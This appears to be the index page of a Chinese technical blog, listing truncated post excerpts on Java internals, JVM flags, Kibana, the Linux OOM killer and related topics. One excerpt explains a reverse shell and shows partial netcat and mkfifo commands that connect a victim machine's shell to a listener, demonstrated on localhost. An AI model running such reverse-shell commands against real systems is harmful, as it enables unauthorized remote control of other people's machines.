如何在Kibana中过滤聚合统计值
如何在Kibana中过滤聚合统计值Kibana Visualize -> Data Table 表格可以用来分类(组)统计查询结果值的个数。如果需要过滤统计值(count)> 1的分组,可以通过设置min_doc_count为2。这样每个分组至少返回2个或者2个以上。这个设置在Ad...
Java String intern
Java String intern11 背景Java String intern经常出现在面试题中,测试两个字符串是不是同一个对象。对于什么时候会在常量池存储字符串对象,我想我们可以基本得出结论:显示调用String的intern方法直接声明字符串字面常量的时候,例如: String a =...
Java对象大小计算
Java对象大小计算我们知道Java中分基本类型和对象。基本类型比如byte一个字节,int 4个字节,对象指针4个字节(32位主机)或者8个字节(64位主机位开启压缩指针)。但是我们new 一个对象时实际占用内存空间大小如何计算呢? java agent Instrument机制中Instr...
-XX:+UseCompressedOops 与 -XX:+UseCompressedClassPointers
64位操作系统中Java8 启动时支持的这两个启动参数有什么区别呢? 背景这两个启动参数经常用在JVM性能调优,因为他们会影响内存中对象占用大小。 分析java对象内存模型可以描述为:OOP-Klass OOP:Ordinary Object Point。这部分是所有此类对象的不同部分(对象...
OOM Killer
进程为什么无故者被杀掉或重启? 背景调查问题过程中有时发现自己的进程无缘故被杀掉了或者多次重启(配置supervisord自动拉起)。这种情况可以查看是否是操作系统OOM killer干的。一般可以查看系统日志文件/var/log/messages中是否有这样的信...
linux主机性能查看工具
linux平台下查看主机系统性能的工具列表
自定义ClassLoader热加载jar文件中的类
本文主要分析和解决Spring Boot中自定义URLClassLoader热加载jar时遇到的坑。模拟场景是动态修改一个class文件后,访问web服务endpoint后立即反应出来。每次修改后的class文件打包为一个jar文件并通过我们自定义的ClassLoader加载。 自定义URLC...
反弹shell
反弹shell(reverse shell) mac下单机模拟反弹shell 攻击机通过netcat建立反弹shell,待受害机建立链接后,通过bash shell远程执行命令 1nc -lv 7777 受害机12mkfifo myfifonc 127.0.0.1 7777 < m...
Java thread Dump
java thread dump分析 产生方式jstack -l [pid] kill -3 [pid] // When the specified process is running on a 64-bit Java Virtual Machine, you might...
JVM 修改 Boot Classpath 详解
layout: posttitle: JVM 修改 Boot Classpath 详解date: 2019-03-29categories: [JVM]在boot classpath前面或者后面添加JAR 后面增加JARjava -Xbootclasspath/a:”/p...